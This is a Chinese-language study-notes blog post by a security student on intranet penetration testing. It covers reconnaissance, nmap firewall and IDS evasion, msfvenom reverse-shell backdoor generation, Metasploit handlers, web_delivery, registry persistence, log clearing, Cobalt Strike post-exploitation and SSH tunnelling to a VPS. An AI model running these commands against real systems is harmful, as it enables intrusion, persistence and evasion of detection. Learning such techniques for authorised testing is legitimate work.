(CN) Intranet Penetest Learning

1 信息收集

服务器信息(端口、服务、真实IP)

网站信息(网站架构、指纹信息、WAF、敏感目录、敏感文件、源码、旁站、C段)

域名信息(whois、备案信息、子域名)

管理员信息(个人信息)

1.1 域名信息收集

  1. 域名分类:
  • .com 顶级域名
  • baidu.com 二级域名
  • www.baidu.com 三级域名
  • .gov 政府域名
  • .com 商业域名
  • .edu 教育域名
  1. whois:阿里云、腾讯云都提供服务
  2. 备案信息:查询网站
  3. 子域名收集:google hacking

DNSdumpster.com

fofa

  1. SSL证书

1.2 IP及端口信息收集

# Syn半连接,no ping, T4的速率扫描
nmap -sS -T4 -Pn 192.168.31.3 

#sT

# 系统扫描
nmap -O -T4 -Pn ipaddr

# 服务版本扫描
nmap -sV -T4 -Pn ipaddr

防火墙/IDS规避

-f; --mtu <val>: 指定使用分片、指定数据包的 MTU.
-D <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址。
-S <IP_Address>: 伪装成其他 IP 地址
-e <iface>: 使用特定的网络接口
-g/--source-port <portnum>: 使用指定源端口
--data-length <num>: 填充随机数据让数据包长度达到 Num。
--ip-options <options>: 使用指定的 IP 选项来发送数据包。
--ttl <val>: 设置 time-to-live 时间。
--spoof-mac <mac address/prefix/vendor name>: 伪装 MAC 地址
--badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)
# e.g.
nmap -F -Pn -D ip1,ip2,ME -e eth0 -g 7890 targeIP

nmap脚本扫描

nmap --script xxx targetIP

1.3 网站信息收集

  1. 操作系统
  • ping判断:win TTL=128 Linux=64
  • nmap -O
  • win不区分大小写,linux则区分
  1. 网站服务/容器类型
  • F12
  • wappalyzer插件
  1. CMS识别(网站内容管理)貌似kali自带whatweb?
  1. 敏感文件和目录探测
  1. WAF识别
  1. 历史漏洞信息

1.4 漏洞扫描及测试工具

AWVS

Nessus

burpsuite

sqlmap 中文教程

2 常见漏洞复现学习

具体见博客更新

3 内网渗透

3.1 msf

  • data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
  • documentation:包含框架的可用文档。
  • lib: metasploit的库文件夹。
  • plugins:用来存放metasploit的插件。
  • scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
  • tools:存放多种的命令行实用程序。
  • modules:存储metasploit的模块文件。
  1. modules目录
  • auxiliary:辅助模块
  • exploits:漏洞利用模块
  • payload:攻击载荷,再靶机上执行代码
  • post:后渗透模块
  • encoders:编码器模块
  • evasion:躲避模块
  • nops:针对溢出攻击

image-20230427162837962

  1. msf的信息收集模块
db_nmap 用法同nmap
  1. auxiliary/scanner模块
# 端口扫描
use auxiliary/scanner/portscan/syn
show options
set rhost ipaddr
exploit
# 主机探测
use auxiliary/scanner/discovery/arp_sweep
show options
set rhost ipaddr
set threads 10
run
  1. msf获取靶机控制器meterpreter
# 可查看help信息
?

3.2 msfvenom

  1. 生产后门的软件,再靶机上执行后门,在本地监听、上线

-p payload

-e encoder

-a arch

-platform

-o output

-f format

  1. e.g.
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f elf -o test.elf
  1. 上传后门木马到靶机中
  2. msf中开启监听模块 exploit/multi/handler
use exploit/multi/handler
show options
set payload linux/x86/meterpreter/reverse_tcp
set lhost ipaddr
set lport portnum
run

# 成功连上后就同meterpreter操作了
  1. 对于web payload来说
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f raw -o test.php

# asp jsp war 同理
  1. 对于脚本payload来说
# py
sudo msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f raw -o shell.py

# bash
sudo msfvenom -p cmd/unix/reverse_bash LHOST=localhost LPORT=9999 -f raw -o test.sh

# perl
sudo msfvenom -p cmd/unix/reverse_perl LHOST=localhost LPORT=9999 -f raw -o test.pl

3.3 msf 攻击实践

  1. web_delivery

当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场。web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如==命令注入、远程命令==执行等问题时,攻击者可以使用web_delivery生成的一条命令建立连接。

另外web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载到内存执行,有利于绕过检测。

web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target O或1或2来设置是使用php还是python还是powershell等。

use exploit/multi/script/web_delivery
show options
set target 0
……
run
# get meterpreter
  1. 从具体漏洞拿到webshell,再通过webshell管理工具上传后门木马,来获取meterpreter,可能存在管理员杀掉进程,导致meterpreter掉线,可以将木马写入注册表,但存在杀软介入
backround
use exploit/windows/local/registry_persistence
set session 12
run
  1. 痕迹清除
# meterpreter下
clearev
  1. 进程迁移
# meterpreter下
migrate [pid]

3.4 cobalt Strike

cobalt strike(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。 Cobalt Strike集成了端口转发,扫描多模式端口Listener,Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。

与metasploit关系

metasploit是一款开源框架,armitage是metasploit框架的图形化界面方式,cobalt strike是armitagel的增强版,同时也是收费软件。cobalt strike在2.0版本还是依托metasploit,在3.0之后的版本使用单独的平台。

agscript拓展应用的脚本

c2lint 用于检查profile的错误异常

teamserver 服务端程序

cobaltstrike jar 客户端程序

logs 目录记录

update 更新

third-party 第三方工具

  1. 开启监听,与msf的handler相似

image-20230504153838366

  1. 设置payload,上传到靶机中,成功上线,类似于meterpreter

image-20230504155253984

image-20230504155334106

利用host file功能下载后门文件

image-20230504155450435

成功上线

image-20230504155652292

  1. 靶机控制
  • interact 命令行交互

image-20230504160207500

  • 提权

image-20230504161054936

image-20230504161331612

  • spawn
  • 运行mimikatz
  • 开启vnc
  • 文件浏览器
  • 端口扫描

image-20230504160642440

  • 查看进程

shell tasklist

  • screenshot
  1. 修改sleep 默认60s

  2. 第三方拓展

3.5 cs攻击流程

  1. 设置监听器
  2. 设置payload attack
  3. 寻找靶机漏洞,执行命令
  4. 靶机上线
  5. 提权
  6. 内网信息收集

3.6 msf和cs联动

3.6.1 socks代理

简单描述拓扑:

cs在外网部署

win7 连接内外网,已被拿下

winserver 为内网 目标

采用socks代理

beacon>  socks <port>

kali中proxychains 设置代理即可

3.6.2 外部监听器

  1. cs上创建一个外部监听器,本地创建msf监听器
  • CS: Foreign HTTP

  • kali下msf中设置handler,配置对应的payload

  1. 使用ssh隧道直接派生一个shell到本地
vim /etc/ssh/sshd_config

# modify
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
systemctl restart sshd.service
  • 回到kali中,通过ssh隧道做转发

创建ssh隧道常用的参数: -C 压缩传输,提供传输速度 -f 将ssh传输转入后台执行,不占用当前的shell -N 建立静默连接(建立了连接,但是看不到具体会话) -g 允许远程主机连接本地用于转发的端口

-L 本地端口转发 -R 远程端口转发 -D 动态转发 -P 指定ssh端口

在kali输入以下命令:

ssh -C -f -N -g -R 0.0.0.0:8889:192.168.123.136:8889 root@vpsip -p 22

通过vpsip把外部的8889端口上的流量转到本地kali的8889端口上,而本地8889又被handler监听,即可达到效果

Outis Yang
Outis Yang
2024 Undergraduate in Cyberspace Security

My research interests include Internet of Vehicles(IoV), Penetration Testing and Security research.